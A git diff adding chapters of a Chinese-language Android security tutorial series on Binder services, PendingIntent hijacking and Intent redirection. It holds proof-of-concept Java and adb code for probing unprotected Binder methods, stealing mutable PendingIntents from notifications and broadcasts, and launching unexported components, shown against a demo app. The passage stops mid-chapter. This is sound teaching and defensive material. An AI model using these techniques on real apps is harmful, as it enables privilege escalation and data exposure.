PackageManager.GET_SIGNATURES); + +``` + +### 4.3 缺失权限检查的后果 + +如果一个系统服务的方法没有做任何权限检查: + +```java + +public class VulnSystemService extends IVulnService.Stub { + @Override + public String readSystemConfig(String path) { + + + return FileUtils.readFileToString(new File(path)); + } +} +``` + +任何第三方 App 都可以调用这个方法,以 system\_server 的权限读取系统文件。这就是一个权限提升漏洞——普通 App 通过未授权的 Binder 调用获得了系统级文件读取能力。 + +* * * + +## 5\. 攻击面分析 + +### 5.1 未授权方法调用 + +这是 Binder 服务最常见的漏洞类型。服务注册到 ServiceManager 后,所有 App 都能获取其代理对象。如果某个方法内部没有权限检查,就是一个可利用的攻击点。 + +通过 `service call` 可以直接测试: + +```bash + +adb shell service call clipboard 1 + + +adb shell service call miui.security 1 +``` + +如果返回了正常数据而不是 SecurityException,说明该方法可能缺少权限检查。 + +`service call` 直接操作 Parcel 层,需要知道参数的精确格式。对于复杂参数(嵌套对象、数组等),手动构造 Parcel 数据比较困难。另一种方式是通过 Java 反射调用: + +```java + +IBinder binder = (IBinder) Class.forName("android.os.ServiceManager") + .getMethod("getService", String.class) + .invoke(null, "target_service"); + + +Class stubClass = Class.forName("com.vendor.ITargetService$Stub"); +Object service = stubClass.getMethod("asInterface", IBinder.class) + .invoke(null, binder); + + +Method method = service.getClass().getMethod("sensitiveMethod", String.class); +Object result = method.invoke(service, "parameter"); +``` + +也可以不依赖 AIDL 接口,直接构造 Parcel 数据发送: + +```java +Parcel data = Parcel.obtain(); +Parcel reply = Parcel.obtain(); +try { + data.writeInterfaceToken("android.content.IClipboard"); + data.writeString("com.test.app"); + binder.transact(2, data, reply, 0); + reply.readException(); + +} finally { + data.recycle(); + reply.recycle(); +} +``` + +### 5.2 transaction code 枚举 + +如果没有 AIDL 文件,可以通过枚举 transaction code 来探测服务暴露了哪些方法: + +```bash +for i in $(seq 1 20); do + echo "--- code $i ---" + adb shell service call target_service $i +done +``` + +返回值的含义: + +| 返回 | 含义 | +| --- | --- | +| Result: Parcel(...) 有数据 | 方法存在且执行成功 | +| Result: Parcel(00000000 ...) 全零 | 方法存在,返回空或 void | +| 异常信息 | 方法存在但权限不足或参数错误 | +| Failed transaction | 该 transaction code 不存在 | + +配合反编译服务端代码(从 framework JAR 或 system APK 中提取),可以还原出每个 transaction code 对应的方法名和参数类型。 + +### 5.3 Binder 代理泄露 + +有些场景下,系统服务会通过回调把内部 Binder 对象传递出来。如果这个 Binder 对象本不应该暴露给第三方 App,就构成了代理泄露。 + +```java + +public void registerCallback(ICallback callback) { + + callback.onReady(mInternalManager.asBinder()); +} +``` + +攻击者注册回调后,就获得了 `mInternalManager` 的 Binder 代理,可以直接调用它的方法,绕过了正常的访问路径。 + +### 5.4 Parcel 反序列化漏洞 + +Binder 传输的数据通过 Parcel 序列化。如果服务端在反序列化时处理不当,可能导致安全问题。 + +Android 中的 Bundle(一种键值对容器,常用于 Intent extras 和 Binder 调用参数)有一个特性叫延迟反序列化(lazy unmarshalling)——Bundle 收到 Parcel 数据后不会立即解析所有内容,而是在第一次 get 操作时才真正反序列化: + +```java +@Override +public boolean onTransact(int code, Parcel data, Parcel reply, int flags) { + Bundle bundle = data.readBundle(); + + String value = bundle.getString("key"); + + + +} +``` + +这个特性曾经是多个 Android 提权漏洞的根源。攻击者在 Bundle 中放入精心构造的 Parcelable 对象,当系统服务反序列化时触发类型混淆(写入时是 A 类型,读取时被解释为 B 类型),最终实现权限提升。CVE-2017-13288 等 "Bundle 风水" 系列漏洞就属于这一类。 + +### 5.5 dumpsys 信息泄露 + +`dumpsys` 命令可以获取系统服务的内部状态信息: + +```bash + +adb shell dumpsys <服务名> + + +adb shell dumpsys activity activities + + +adb shell dumpsys package com.target.app +``` + +不是所有服务都支持 dump,dump 输出的内容由服务端的 `dump()` 方法决定。有些服务的 dump 会输出 token、session 信息、内部状态等敏感数据,这本身也可能是一个信息泄露点。 + +* * * + +## 6\. 版本演进 + +### 6.1 SELinux 对 Binder 的限制 + +从 Android 5.0 开始,SELinux(Security-Enhanced Linux,一种内核级的强制访问控制机制,在标准的 Linux 权限模型之上增加了一层策略控制)被设为强制模式。SELinux 策略可以限制哪些进程能与哪些 Binder 服务通信: + +```php + + +allow platform_app clipboard_service:service_manager find; + + +neverallow untrusted_app vendor_custom_service:service_manager find; +``` + +即使服务端代码没有权限检查,SELinux 也可能在更底层阻止调用。但 SELinux 策略的覆盖范围取决于厂商的配置——有些厂商自定义服务可能没有被 SELinux 策略覆盖到。 + +### 6.2 Treble 架构与 Binder 域分离 + +Android 8.0 引入了 Treble 架构,将 Binder 分成了三个独立的域: + +- `/dev/binder`:framework 进程之间的通信(App ↔ system\_server) +- `/dev/hwbinder`:framework 与 HAL(Hardware Abstraction Layer,硬件抽象层,负责连接 Android 框架和底层硬件驱动)之间的通信 +- `/dev/vndbinder`:vendor(厂商)进程之间的通信 + +Android 10 进一步引入了 `/dev/vndbinder`,隔离 vendor 和 framework 的 Binder 通信。这种分离减少了跨域攻击的可能性——第三方 App 只能访问 `/dev/binder` 上的服务,无法直接与 HAL 服务通信。 + +### 6.3 隐藏 API 限制 + +从 Android 9 开始,Google 限制了对隐藏 API(标记为 `@hide` 的系统 API,不在公开 SDK 中)的反射调用。ServiceManager 本身就是隐藏 API,直接反射调用会收到警告或被阻止: + +```php +Accessing hidden method Landroid/os/ServiceManager;->getService(Ljava/lang/String;)Landroid/os/IBinder; (greylist, reflection, allowed) +``` + +Android 对隐藏 API 按限制力度分了几个级别: + +| 列表 | 限制 | +| --- | --- | +| whitelist | 无限制 | +| greylist | 允许但会打印警告 | +| greylist-max-o | targetSdk > 26 时阻止 | +| greylist-max-p | targetSdk > 28 时阻止 | +| blacklist | 完全阻止 | + +但这个限制可以被绕过(双重反射、JNI 调用等),所以它增加了攻击成本,但不构成安全边界。 + +### 6.4 版本变化汇总 + +| 版本 | 变化 | +| --- | --- | +| Android 5.0 | SELinux 强制模式,Binder 调用受策略约束 | +| Android 8.0 | Treble 架构,HAL 服务使用独立的 /dev/hwbinder | +| Android 9 | 隐藏 API 限制,反射调用 ServiceManager 受到约束 | +| Android 10 | /dev/vndbinder 隔离 vendor 和 framework 通信 | +| Android 11+ | Stable AIDL 用于跨分区接口,增强接口稳定性 | + +* * * + +## 7\. 总结 + +Binder 是 Android IPC 的底层实现,所有系统服务都建立在它之上。 + +回顾一下: + +- Binder 驱动在内核层记录调用者 UID/PID,身份不可伪造,但权限检查是服务端的责任 +- ServiceManager 是公开的服务注册表,任何 App 都能查询和获取服务代理 +- 厂商自定义系统服务运行在 system\_server 中拥有系统权限,但不在 AOSP 的审查范围内 +- `service call` 和反射调用是与 Binder 服务交互的两种方式 +- SELinux、Treble 架构、隐藏 API 限制是系统层面的缓解措施,但都有各自的局限 + +下一章讲 Android ContentProvider 安全。ContentProvider 是四大组件中专门负责数据共享的,它的 query、openFile、call 方法各有不同的攻击面,SQL 注入和路径遍历是其中比较经典的漏洞模式。 diff --git "a/books/Android\347\247\273\345\212\250\345\256\211\345\205\250\347\254\254\344\271\235\347\253\240_PendingIntent\345\256\211\345\205\250.md" "b/books/Android\347\247\273\345\212\250\345\256\211\345\205\250\347\254\254\344\271\235\347\253\240_PendingIntent\345\256\211\345\205\250.md" new file mode 100644 index 000000000..11896a2f5 --- /dev/null +++ "b/books/Android\347\247\273\345\212\250\345\256\211\345\205\250\347\254\254\344\271\235\347\253\240_PendingIntent\345\256\211\345\205\250.md" @@ -0,0 +1,449 @@ +# Android移动安全第九章_PendingIntent安全 +> QIANXIN Team +> 来源:https://forum.butian.net/share/4876 + +> 系列目录: +> +> 1. Android 组件导出安全 +> 2. Android Intent 安全 +> 3. Android Binder 服务安全 +> 4. Android ContentProvider 安全 +> 5. Android WebView 安全 +> 6. Android UI 欺骗与钓鱼 +> 7. Android Deep Link 安全 +> 8. Android 广播安全 +> 9. Android PendingIntent 安全(本章) +> 10. Android 系统设置安全 +> 11. Android SSRF 与网络安全 +> 12. Android 加密与数据存储安全 +> 13. Android 认证与证书校验 +> 14. Android Zip Slip 路径遍历 +> 15. Android Fragment Injection +> 16. Android SELinux 与沙箱机制 + +* * * + +## 1\. 前言 + +前面几章讲的 Intent、广播、组件导出,都是"直接调用"——调用方自己发出 Intent,系统根据调用方的身份和权限决定是否放行。PendingIntent 不一样,它是"间接调用"。 + +PendingIntent 的工作方式是:App A 创建一个 PendingIntent,把它交给 App B(或系统)。当 B 在未来某个时刻触发这个 PendingIntent 时,系统以 A 的身份和权限来执行其中的 Intent,而不是以 B 的身份。 + +这个机制在 Android 中使用非常广泛: + +- 通知(Notification):App 创建通知时,把点击后要执行的操作包装成 PendingIntent 交给系统通知服务。用户点击通知时,系统代替 App 执行这个操作 +- 闹钟(AlarmManager):App 设置定时任务时,把到时间后要执行的操作包装成 PendingIntent 交给 AlarmManager +- 桌面小部件(AppWidget):小部件的点击事件通过 PendingIntent 传递给 App 处理 + +问题在于:如果 App A 创建的 PendingIntent 中的 Intent 是"空的"或"不完整的",拿到这个 PendingIntent 的 App B 可以往里面填充内容,然后触发执行——执行时用的是 A 的身份和权限。这就是 PendingIntent 劫持的基本原理。 + +* * * + +## 2\. PendingIntent 基础 + +### 2.1 创建方式 + +PendingIntent 有三种创建方式,分别对应三种组件操作: + +```java + +PendingIntent pi = PendingIntent.getActivity(context, requestCode, intent, flags); + + +PendingIntent pi = PendingIntent.getService(context, requestCode, intent, flags); + + +PendingIntent pi = PendingIntent.getBroadcast(context, requestCode, intent, flags); +``` + +参数说明: + +- context:创建者的上下文,决定了 PendingIntent 执行时使用谁的身份 +- requestCode:请求码,用于区分同一个 App 创建的不同 PendingIntent +- intent:要执行的 Intent +- flags:控制 PendingIntent 行为的标志位 + +### 2.2 Flags + +flags 参数对安全性影响很大: + +| Flag | 含义 | +| --- | --- | +| FLAG_IMMUTABLE | PendingIntent 创建后不可修改(Android 12+ 默认要求) | +| FLAG_MUTABLE | PendingIntent 创建后可以被修改 | +| FLAG_UPDATE_CURRENT | 如果已存在相同的 PendingIntent,更新其中的 Intent extras | +| FLAG_CANCEL_CURRENT | 如果已存在相同的 PendingIntent,取消旧的,创建新的 | +| FLAG_ONE_SHOT | PendingIntent 只能被使用一次 | + +FLAG\_MUTABLE 和 FLAG\_IMMUTABLE 是安全方面最需要关注的。FLAG\_MUTABLE 意味着拿到 PendingIntent 的一方可以修改其中 Intent 的内容(通过 `send(Context, int, Intent)` 方法传入额外的 Intent 来填充)。 + +### 2.3 身份委托机制 + +PendingIntent 的核心特性是身份委托。用一个例子说明: + +```java + +Intent intent = new Intent(this, InternalActivity.class); +PendingIntent pi = PendingIntent.getActivity(this, 0, intent, PendingIntent.FLAG_MUTABLE); + + +``` + +当 App B 调用 `pi.send()` 时,系统以 App A 的身份(UID 1000)执行 Intent。即使 InternalActivity 是 App A 的未导出组件,也能被成功启动——因为执行者的身份是 A 自己。 + +这就是为什么 PendingIntent 是权限提升的入口:普通 App 拿到系统 App 创建的 PendingIntent 后,可以借用系统 App 的身份执行操作。 + +* * * + +## 3\. PendingIntent 劫持 + +### 3.1 隐式 Intent 的 PendingIntent + +最经典的 PendingIntent 劫持场景是:创建者使用隐式 Intent(不指定目标组件)来构造 PendingIntent。 + +```java + +Intent intent = new Intent("com.example.ACTION_PROCESS"); +intent.putExtra("token", "secret_token_123"); +PendingIntent pi = PendingIntent.getBroadcast(context, 0, intent, + PendingIntent.FLAG_MUTABLE); +``` + +这个 PendingIntent 被触发时,系统会把广播发给所有注册了 `com.example.ACTION_PROCESS` 的 Receiver。攻击者注册一个匹配的 Receiver 就能收到广播,获取其中的 token。 + +更严重的是,如果 PendingIntent 是 FLAG\_MUTABLE 的,攻击者拿到它之后可以修改 Intent 的目标: + +```java + +Intent fillIntent = new Intent(); +fillIntent.setClassName("com.victim.app", "com.victim.app.InternalActivity"); +pendingIntent.send(context, 0, fillIntent); + +``` + +### 3.2 空 Intent 的 PendingIntent + +比隐式 Intent 更危险的是空 Intent。有些开发者创建 PendingIntent 时传入一个空的 Intent,打算后续再填充: + +```java + +PendingIntent pi = PendingIntent.getActivity(context, 0, + new Intent(), PendingIntent.FLAG_MUTABLE); +``` + +拿到这个 PendingIntent 的任何一方都可以完全控制 Intent 的内容——action、component、data、extras 全部可以填充。执行时使用的是创建者的身份和权限。 + +### 3.3 通知中的 PendingIntent 泄露 + +通知是 PendingIntent 最常见的使用场景,也是泄露的高发区。App 创建通知时,把 PendingIntent 交给系统的 NotificationManager。如果通知可以被其他 App 读取(通过 NotificationListenerService),其中的 PendingIntent 就可能被提取出来。 + +NotificationListenerService 是 Android 提供的一个系统服务,允许 App 在用户授权后监听所有通知。用户在"设置 → 通知访问权限"中授权后,App 就能读取所有通知的内容,包括其中的 PendingIntent。 + +```java + +public class NotifListener extends NotificationListenerService { + @Override + public void onNotificationPosted(StatusBarNotification sbn) { + Notification notification = sbn.getNotification(); + PendingIntent contentIntent = notification.contentIntent; + if (contentIntent != null) { + + + try { + Intent fillIntent = new Intent(); + fillIntent.setClassName("com.victim.app", + "com.victim.app.InternalSettingsActivity"); + contentIntent.send(context, 0, fillIntent); + } catch (PendingIntent.CanceledException e) { + + } + } + } +} +``` + +### 3.4 BroadcastReceiver 中的 PendingIntent + +有些 App 通过广播传递 PendingIntent,让接收方在处理完某些逻辑后回调。如果广播是隐式的,攻击者可以注册 Receiver 截获广播,拿到其中的 PendingIntent: + +```java + +Intent callbackIntent = new Intent(this, CallbackReceiver.class); +PendingIntent callback = PendingIntent.getBroadcast(this, 0, + callbackIntent, PendingIntent.FLAG_MUTABLE); + +Intent broadcastIntent = new Intent("com.example.ACTION_REQUEST"); +broadcastIntent.putExtra("callback", callback); +sendBroadcast(broadcastIntent); +``` + +攻击者收到广播后,提取 PendingIntent 并修改后执行: + +```java +public class AttackReceiver extends BroadcastReceiver { + @Override + public void onReceive(Context context, Intent intent) { + PendingIntent callback = intent.getParcelableExtra("callback"); + if (callback != null) { + Intent fill = new Intent(); + fill.setClassName("com.victim.app", + "com.victim.app.AdminActivity"); + try { + callback.send(context, 0, fill); + } catch (PendingIntent.CanceledException e) {} + } + } +} +``` + +* * * + +## 4\. FLAG\_MUTABLE 与 FLAG\_IMMUTABLE + +### 4.1 可变性的影响 + +PendingIntent 的可变性(mutability)决定了它被传递给其他方后是否可以被修改。 + +FLAG\_MUTABLE 的 PendingIntent,接收方可以通过 `send(Context, int, Intent)` 传入一个 fillIntent 来修改原始 Intent 的内容。fillIntent 中设置的字段会覆盖或补充原始 Intent: + +```java + +Intent intent = new Intent("com.example.ACTION_VIEW"); +PendingIntent pi = PendingIntent.getActivity(context, 0, intent, + PendingIntent.FLAG_MUTABLE); + + +Intent fillIntent = new Intent(); +fillIntent.setComponent(new ComponentName("com.victim.app", + "com.victim.app.SecretActivity")); +pi.send(context, 0, fillIntent); + +``` + +FLAG\_IMMUTABLE 的 PendingIntent 则不允许修改。接收方调用 `send()` 时传入的 fillIntent 会被忽略(extras 除外——如果原始 Intent 中没有设置某个 extra key,fillIntent 中的对应 key 仍然会被合并进去)。 + +### 4.2 什么时候需要 FLAG\_MUTABLE + +有些场景确实需要 FLAG\_MUTABLE: + +- 内联回复通知(Direct Reply):系统需要把用户输入的文本填充到 PendingIntent 的 extras 中 +- 与 `AlarmManager.setExact()` 配合使用时,某些系统版本要求 PendingIntent 可变 +- 需要和 `PendingIntent.FLAG_UPDATE_CURRENT` 配合更新 extras + +但大多数场景下,FLAG\_IMMUTABLE 就够了。如果不确定,优先使用 FLAG\_IMMUTABLE。 + +### 4.3 Android 12 的强制要求 + +Android 12(API 31)开始,创建 PendingIntent 时必须显式指定 FLAG\_MUTABLE 或 FLAG\_IMMUTABLE,否则会抛出异常: + +```php +java.lang.IllegalArgumentException: Targeting S+ (version 31 and above) +requires that one of FLAG_IMMUTABLE or FLAG_MUTABLE be specified when +creating a PendingIntent. +``` + +这个改动强制开发者思考 PendingIntent 是否需要可变。但它不能阻止开发者为了省事直接加 FLAG\_MUTABLE。 + +* * * + +## 5\. 实际攻击场景 + +### 5.1 LaunchAnywhere + +LaunchAnywhere 是 PendingIntent 劫持的一个经典利用模式,最早在 Android 系统的 AccountManagerService 中被发现。 + +AccountManagerService 在处理添加账户的流程中,会向第三方 Authenticator App 发送一个 PendingIntent(通过 AccountAuthenticatorResponse)。如果 Authenticator 返回的结果中包含一个 KEY\_INTENT,AccountManagerService 会用自己的身份(system\_server,UID 1000)启动这个 Intent。 + +攻击流程: + +1. 恶意 App 注册一个自定义的 AccountAuthenticator +2. 调用 `AccountManager.addAccount()` 触发添加账户流程 +3. 系统调用恶意 App 的 Authenticator +4. Authenticator 在返回结果中放入一个指向系统内部组件的 Intent +5. AccountManagerService 以 system 身份启动这个 Intent + +这个漏洞的本质是:系统服务信任了第三方 App 提供的 Intent,并以自己的高权限身份执行。后续 Android 版本通过检查返回的 Intent 的目标组件是否属于调用者来修复了这个问题。 + +### 5.2 通知劫持提权 + +一个更常见的场景:系统 App 创建通知时使用了 FLAG\_MUTABLE 的 PendingIntent,且 Intent 不够具体(没有指定 component)。 + +```java + +Intent intent = new Intent("com.system.ACTION_SETTINGS"); +PendingIntent pi = PendingIntent.getActivity(this, 0, intent, + PendingIntent.FLAG_MUTABLE); + +Notification notification = new Notification.Builder(this, channelId) + .setContentTitle("系统更新") + .setContentText("点击查看详情") + .setContentIntent(pi) + .build(); +notificationManager.notify(1, notification); +``` + +拥有 NotificationListenerService 权限的恶意 App 可以: + +1. 监听到这条通知 +2. 提取其中的 PendingIntent +3. 用 fillIntent 修改目标为系统内部的敏感 Activity +4. 以系统 App 的身份启动 + +### 5.3 Widget 点击劫持 + +桌面小部件(AppWidget)的点击事件通过 PendingIntent 实现。AppWidgetProvider 在 `onUpdate()` 中为小部件的各个 View 设置 PendingIntent: + +```java +RemoteViews views = new RemoteViews(context.getPackageName(), + R.layout.widget_layout); +Intent intent = new Intent(context, WidgetClickHandler.class); +PendingIntent pi = PendingIntent.getBroadcast(context, 0, intent, + PendingIntent.FLAG_MUTABLE); +views.setOnClickPendingIntent(R.id.widget_button, pi); +``` + +如果 PendingIntent 是 FLAG\_MUTABLE 的,且 Intent 不够具体,Launcher App(桌面启动器)理论上可以修改 PendingIntent 的内容。虽然主流 Launcher 不会这么做,但自定义 Launcher 或恶意 Launcher 可能利用这一点。 + +* * * + +## 6\. 版本演进 + +### 6.1 Android 6.0(API 23) + +引入了 `PendingIntent.getCreatorPackage()` 和 `PendingIntent.getCreatorUid()` 方法,允许接收方查询 PendingIntent 的创建者信息。但这些信息仅供参考,不能作为安全校验的依据——恶意 App 可以创建 PendingIntent 后传递给其他 App,接收方看到的创建者是恶意 App,但执行时用的身份也是恶意 App 的,所以这个信息本身不构成安全问题。 + +### 6.2 Android 12(API 31) + +强制要求指定 FLAG\_MUTABLE 或 FLAG\_IMMUTABLE。这是 PendingIntent 安全方面最重要的一次改动。 + +同时,Android 12 还限制了 FLAG\_MUTABLE 的 PendingIntent:即使是 mutable 的,fillIntent 也不能覆盖原始 Intent 中已经设置的 component 和 action。只有原始 Intent 中未设置的字段才能被填充。 + +```java + +Intent intent = new Intent(); +intent.setComponent(new ComponentName("com.example", "com.example.MyActivity")); +PendingIntent pi = PendingIntent.getActivity(context, 0, intent, + PendingIntent.FLAG_MUTABLE); + + +Intent fill = new Intent(); +fill.setComponent(new ComponentName("com.victim", "com.victim.Secret")); +pi.send(context, 0, fill); + +``` + +这个限制大幅降低了 FLAG\_MUTABLE PendingIntent 的攻击面,但没有完全消除——extras 仍然可以被填充。 + +### 6.3 Android 14(API 34) + +进一步收紧了 PendingIntent 的安全限制: + +- 对后台启动 Activity 的限制更严格,通过 PendingIntent 从后台启动 Activity 需要创建者在创建时显式授权(通过 `ActivityOptions.setPendingIntentBackgroundActivityStartMode()`) +- 对 PendingIntent 的 sender 身份校验更严格 + +* * * + +## 7\. 演示 + +下面用配套的演示 App(com.demo.pendingintentsecurity)来展示 PendingIntent 劫持的效果。 + +Demo App 模拟了一个常见场景:App 发送通知时,PendingIntent 指向一个中转 Activity(DispatchActivity),该 Activity 根据 extras 中的 `target_class` 决定跳转目标。原始 Intent 没有设置 `target_class`,正常情况下跳转到默认页面。但因为 PendingIntent 使用了 FLAG\_MUTABLE,攻击者可以通过 fillIntent 注入 `target_class` extra,控制跳转到任意内部组件。 + +### 7.1 创建不安全的通知 + +VulnNotificationActivity 创建通知时使用了 FLAG\_MUTABLE 的 PendingIntent: + +```java + +Intent intent = new Intent(this, DispatchActivity.class); + +PendingIntent pi = PendingIntent.getActivity(this, 0, intent, + PendingIntent.FLAG_MUTABLE | PendingIntent.FLAG_UPDATE_CURRENT); +``` + +DispatchActivity 根据 extras 决定跳转: + +```java +String targetClass = getIntent().getStringExtra("target_class"); +if (targetClass != null) { + Intent intent = new Intent(); + intent.setClassName(getPackageName(), targetClass); + startActivity(intent); +} else { + startActivity(new Intent(this, MainActivity.class)); +} +``` + +通过 ADB 发送通知: + +```bash +adb shell am start -n com.demo.pendingintentsecurity/.VulnNotificationActivity +``` + +logcat 输出: + +```php +W VulnNotification: 通知已发送 +W VulnNotification: PendingIntent: 显式 Intent → DispatchActivity, FLAG_MUTABLE +W VulnNotification: 原始 Intent 未设置 target_class,正常跳转到默认页面 +W VulnNotification: 但 FLAG_MUTABLE 允许 fillIntent 注入 target_class extra +``` + +### 7.2 执行劫持 + +HijackDemoActivity 模拟攻击者的行为——获取到通知中的 mutable PendingIntent 后,通过 fillIntent 注入 `target_class` extra: + +```java + +Intent originalIntent = new Intent(this, DispatchActivity.class); +PendingIntent pi = PendingIntent.getActivity(this, 0, originalIntent, + PendingIntent.FLAG_MUTABLE | PendingIntent.FLAG_NO_CREATE); + + +Intent fillIntent = new Intent(); +fillIntent.putExtra("target_class", + "com.demo.pendingintentsecurity.InternalSecretActivity"); +pi.send(context, 0, fillIntent); +``` + +通过 ADB 触发劫持: + +```bash +adb shell am start -n com.demo.pendingintentsecurity/.HijackDemoActivity \ + --ez auto_start true +``` + +logcat 输出: + +```php +W HijackDemo: 成功获取到已有的 mutable PendingIntent +W HijackDemo: 劫持成功:注入 target_class=InternalSecretActivity +W HijackDemo: DispatchActivity 将跳转到未导出的内部组件 +W DispatchActivity: 收到 target_class: com.demo.pendingintentsecurity.InternalSecretActivity +W DispatchActivity: 已跳转到: com.demo.pendingintentsecurity.InternalSecretActivity +W InternalSecret: InternalSecretActivity 被通过 PendingIntent 劫持启动 +W InternalSecret: 内部机密页面已打开,敏感数据已暴露 +``` + +InternalSecretActivity 是 exported=false 的内部组件,正常情况下外部无法启动。但攻击者通过 fillIntent 向 mutable PendingIntent 注入了 `target_class` extra,DispatchActivity 读取后跳转到了内部机密页面: + +![demo9_hijack.png](https://cdn-yg-zzbm.yun.qianxin.com/attack-forum/2026/04/attach-cdd0b84844cb62b039dec338b3e63af734c8d309.png) + +如果这个 PendingIntent 使用 FLAG\_IMMUTABLE,fillIntent 中的 extras 不会被合并到原始 Intent 中(原始 Intent 未设置的 key 除外的规则在 Android 12+ 上有变化,但 FLAG\_IMMUTABLE 从根本上阻止了修改),攻击就无法成功。 + +* * * + +## 8\. 总结 + +PendingIntent 的安全问题围绕"身份委托"展开。创建者把自己的执行权限包装进 PendingIntent 交给其他方,如果 PendingIntent 是可变的且 Intent 不够具体,接收方就能借用创建者的身份执行任意操作。 + +回顾一下: + +- PendingIntent 以创建者的身份执行,不是触发者的身份 +- FLAG\_MUTABLE 允许接收方修改 Intent 内容,是劫持的前提 +- 隐式 Intent 或空 Intent 的 PendingIntent 攻击面最大 +- 通知、广播回调、Widget 是 PendingIntent 泄露的常见渠道 +- Android 12 强制要求声明 mutability,并限制了 fillIntent 对已设置字段的覆盖 +- Android 14 进一步限制了通过 PendingIntent 从后台启动 Activity + +下一章讲 Android 系统设置安全。Settings.System、Settings.Secure、Settings.Global 这三个命名空间存储了设备的各种配置,部分设置项的读写权限控制不够严格,可能被第三方 App 利用来修改设备行为。 diff --git "a/books/Android\347\247\273\345\212\250\345\256\211\345\205\250\347\254\254\344\272\214\347\253\240_Intent\345\256\211\345\205\250.md" "b/books/Android\347\247\273\345\212\250\345\256\211\345\205\250\347\254\254\344\272\214\347\253\240_Intent\345\256\211\345\205\250.md" new file mode 100644 index 000000000..1bb90c140 --- /dev/null +++ "b/books/Android\347\247\273\345\212\250\345\256\211\345\205\250\347\254\254\344\272\214\347\253\240_Intent\345\256\211\345\205\250.md" @@ -0,0 +1,497 @@ +# Android移动安全第二章_Intent安全 +> QIANXIN Team +> 来源:https://forum.butian.net/share/4825 + +> 系列目录: +> +> 1. Android 组件导出安全 +> 2. Android Intent 安全(本章) +> 3. Android Binder 服务安全 +> 4. Android ContentProvider 安全 +> 5. Android WebView 安全 +> 6. Android UI 欺骗与钓鱼 +> 7. Android Deep Link 安全 +> 8. Android 广播安全 +> 9. Android PendingIntent 安全 +> 10. Android 系统设置安全 +> 11. Android SSRF 与网络安全 +> 12. Android 加密与数据存储安全 +> 13. Android 认证与证书校验 +> 14. Android Zip Slip 路径遍历 +> 15. Android Fragment Injection +> 16. Android SELinux 与沙箱机制 + +* * * + +## 1\. 前言 + +在 Android 中,组件之间不能直接调用彼此的方法。它们通过 Intent(意图)来通信——一个组件创建一个 Intent 对象,描述"我想做什么"或"我想启动谁",然后交给系统去分发。 + +上一章我们看到,导出的组件可以被外部访问。但"访问"这个动作本身,就是通过 Intent 完成的。攻击者构造一个恶意 Intent 发给目标组件,组件收到后如果不加校验地处理其中的数据,漏洞就产生了。 + +Intent 相关的安全问题可以分为三个方向: + +- 攻击者向受害 App 发送恶意 Intent(注入) +- 受害 App 发出的 Intent 被攻击者截获(泄露) +- 受害 App 把攻击者提供的 Intent 当作自己的去执行(重定向) + +本章逐一展开。 + +* * * + +## 2\. Intent 基础 + +### 2.1 显式 Intent 与隐式 Intent + +Intent 分为两种: + +显式 Intent 明确指定了目标组件的包名和类名,系统直接将它发送给指定组件: + +```java + +Intent intent = new Intent(); +intent.setClassName("com.target.app", "com.target.app.PaymentActivity"); +startActivity(intent); +``` + +隐式 Intent 不指定具体组件,而是描述一个动作(action),由系统根据已安装 App 的 intent-filter 匹配合适的组件来处理: + +```java + +Intent intent = new Intent("android.intent.action.VIEW"); +intent.setData(Uri.parse("https://example.com")); +startActivity(intent); +``` + +从安全角度看,这两种 Intent 的风险方向不同: + +| 类型 | 风险方向 | 原因 | +| --- | --- | --- | +| 显式 Intent | 注入风险 | 攻击者可以构造显式 Intent 直接发给导出组件 | +| 隐式 Intent | 泄露风险 | 任何 App 都可以注册匹配的 intent-filter 来拦截 | + +### 2.2 Intent 的数据承载 + +一个 Intent 可以携带多种数据,这些数据都是攻击者在构造恶意 Intent 时可以控制的: + +| 字段 | 说明 | 示例 | +| --- | --- | --- | +| action | 动作标识符 | android.intent.action.VIEW | +| data | URI 数据 | content://contacts/1 | +| type | MIME 类型 | image/png | +| category | 类别标签 | android.intent.category.DEFAULT | +| extras | 键值对附加数据 | putExtra("url", "https://evil.com") | +| flags | 控制标志位 | FLAG_GRANT_READ_URI_PERMISSION | +| component | 目标组件 | com.app/.Activity | + +其中 extras 是最常被利用的,因为它可以携带任意类型的数据(字符串、整数、数组、甚至另一个 Intent 对象),而且很多开发者会直接从 extras 中取值使用,不做校验。 + +### 2.3 Intent 的传递路径 + +理解 Intent 的传递路径有助于分析攻击面: + +![intent_flow.png](https://cdn-yg-zzbm.yun.qianxin.com/attack-forum/2026/03/attach-7c63a3bb99c43ce8dbc79b3241faf70a175b1771.png) + +系统在中间做的权限检查主要是:接收方组件是否导出、发送方是否持有所需权限。但系统不会检查 Intent 中携带的数据内容是否安全——这完全是接收方自己的责任。 + +* * * + +## 3\. Intent 重定向(LaunchAnywhere) + +### 3.1 原理 + +Intent 重定向是 Android 客户端漏洞中影响比较大的一类。它的核心模式是: + +1. 受害 App 的某个导出组件接收外部 Intent +2. 从这个 Intent 的 extras 中取出一个嵌套的 Intent 对象(或用于构造 Intent 的参数) +3. 用取出的 Intent 调用 startActivity() / startService() / sendBroadcast() + +问题在于第 3 步:受害 App 是用自己的身份去执行这个 Intent 的。如果受害 App 是系统应用(UID 1000),那攻击者就相当于借用了系统权限去启动任意组件,包括那些未导出的、受权限保护的组件。 + +这就是"LaunchAnywhere"这个名字的由来——借助受害 App 的身份,启动任何地方的任何组件。 + +### 3.2 三种常见变体 + +#### 变体 1:直接转发嵌套 Intent + +最经典的模式。从 extras 中取出一个 Parcelable 类型的 Intent 对象,直接 startActivity: + +```java + +Intent next = getIntent().getParcelableExtra("next_intent"); +if (next != null) { + startActivity(next); +} +``` + +攻击者构造: + +```java + +Intent inner = new Intent(); +inner.setClassName("com.victim.app", "com.victim.app.InternalActivity"); + +Intent outer = new Intent(); +outer.setClassName("com.victim.app", "com.victim.app.VulnActivity"); +outer.putExtra("next_intent", inner); +startActivity(outer); +``` + +#### 变体 2:从字符串参数构造 Intent + +不直接传 Intent 对象,而是传组件名的字符串,由受害 App 自己构造 Intent: + +```java + +String pkg = getIntent().getStringExtra("target_package"); +String cls = getIntent().getStringExtra("target_class"); +if (pkg != null && cls != null) { + Intent redirect = new Intent(); + redirect.setClassName(pkg, cls); + startActivity(redirect); +} +``` + +这种变体在 ADB 测试时更方便,因为 `am start` 命令可以直接传字符串参数,但不方便传 Parcelable 对象。 + +演示 App 中的 VulnProxyActivity 同时支持变体 1 和变体 2。通过 ADB 用字符串参数启动未导出的 InternalTokenActivity: + +```bash +adb shell am start -n com.demo.intentsecurity/.VulnProxyActivity \ + --es target_package "com.demo.intentsecurity" \ + --es target_class "com.demo.intentsecurity.InternalTokenActivity" +``` + +成功绕过 exported=false 限制,打开了内部 Token 管理页面: + 